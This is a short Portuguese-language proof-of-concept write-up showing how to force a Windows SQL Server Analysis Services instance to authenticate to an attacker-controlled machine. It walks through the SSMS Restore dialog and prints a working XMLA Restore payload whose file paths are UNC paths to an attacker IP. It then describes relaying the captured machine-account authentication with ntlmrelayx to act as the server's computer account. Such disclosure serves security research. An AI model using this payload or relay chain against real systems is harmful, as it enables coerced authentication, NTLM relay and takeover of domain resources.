
Uma técnica para forçar um SQL Server do Windows a autenticar em uma máquina arbitrária.

Uma técnica para forçar um SQL Server Windows a autenticar em uma máquina arbitrária.
Esta prova de conceito é coautorada por:
Para acionar a autenticação como conta de máquina local, precisamos nos conectar ao SQL Server remoto usando credenciais de usuário:

Em seguida, selecionaremos "Restore" para restaurar o banco de dados a partir de um determinado arquivo.

Para gerar o arquivo XMLA, coloque o caminho para um arquivo aleatório no formulário "Backup File" e clique em Ok.

Em seguida, altere o caminho para um arquivo aleatório e substitua-o por um caminho UNC para o seu servidor atacante (por exemplo, \\192.168.128\SYSVOL\db.abf)

Consulta XMLA de prova de conceito (poc.xmla):
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
E obtemos uma autenticação da conta de máquina local do SQL Server:

Depois que obtivermos a autenticação, podemos retransmiti-la com ntlmrelayx para executar muitas ações em nome do computador SQL01$.
Isso é legal, mas é complicado acionar essa autenticação forçada a partir de uma máquina atacante Linux, pois não temos acesso ao SQL Server Management Studio (SSMS).